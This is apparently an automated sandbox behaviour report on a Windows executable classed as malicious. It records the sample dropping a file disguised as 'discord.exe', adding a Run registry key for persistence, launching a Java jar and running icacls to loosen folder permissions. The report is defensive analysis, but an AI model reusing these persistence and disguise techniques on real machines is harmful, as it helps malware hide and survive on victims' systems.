Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\S3zoj9Uts0.exe C:\Users\user\Desktop\S3zoj9Uts0.exe
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Source: C:\Windows\SysWOW64\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe "C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe "C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"	Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\jarva.jar"

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Jump to behavior

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

File created: C:\Users\user\AppData\Local\Temp\jarva.jar

Jump to behavior

Source: classification engine

Classification label: mal100.winEXE@12/3@3/4

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: S3zoj9Uts0.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4904:120:WilError_01

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Section loaded: C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\jvm.dll

Jump to behavior

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

File opened: C:\Windows\SysWOW64\en-US\MsftEdit.DLL.mui

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: S3zoj9Uts0.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: S3zoj9Uts0.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: S3zoj9Uts0.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\akate\source\repos\MAHAServer\MAHA\obj\Debug\discord.pdb source: S3zoj9Uts0.exe, 00000000.00000000.309170814.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024B1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\akate\source\repos\MAHAServer\MAHA\obj\Debug\discord.pdbR source: S3zoj9Uts0.exe, 00000000.00000000.309170814.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, S3zoj9Uts0.exe, 00000000.00000002.577854090.00000000024B1000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 1_3_15E0A0E2 push ebp; retf		1_3_15E0A0E3
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe	Code function: 1_3_15E0B11F push ds; ret		1_3_15E0B13E

Source: S3zoj9Uts0.exe

Static PE information: 0xD901697B [Tue May 15 07:00:11 2085 UTC]

Persistence and Installation Behavior

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe			Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File written: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe			Jump to behavior

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Jump to dropped file

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Discord			Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Discord			Jump to behavior

Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M

Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe TID: 5824	Thread sleep count: 708 > 30			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe TID: 3544	Thread sleep count: 657 > 30

Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	Window / User API: threadDelayed 759	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Window / User API: threadDelayed 708	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe	Window / User API: threadDelayed 657

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\S3zoj9Uts0.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: javaw.exe, 00000005.00000003.350864444.0000000014CFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: javaw.exe, 00000005.00000003.350864444.0000000014CFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &com/sun/corba/se/impl/util/SUNVMCID.classPK
Source: javaw.exe, 00000001.00000002.576386028.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.576479340.0000000002610000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ,java/lang/VirtualMachineError
Source: javaw.exe, 00000001.00000002.576386028.00000000029E0000.00000004.00000020.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.576479340.0000000002610000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|[Ljava/lang/VirtualMachineError;
Source: javaw.exe, 00000005.00000003.350864444.0000000014CFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: org/omg/CORBA/OMGVMCID.classPK
Source: javaw.exe, 00000001.00000003.317467438.00000000150CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: java/lang/VirtualMachineError.classPK
Source: S3zoj9Uts0.exe, 00000000.00000002.575985804.00000000007AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\S3zoj9Uts0.exe

Memory allocated: page read and write | page guard

Jump to behavior

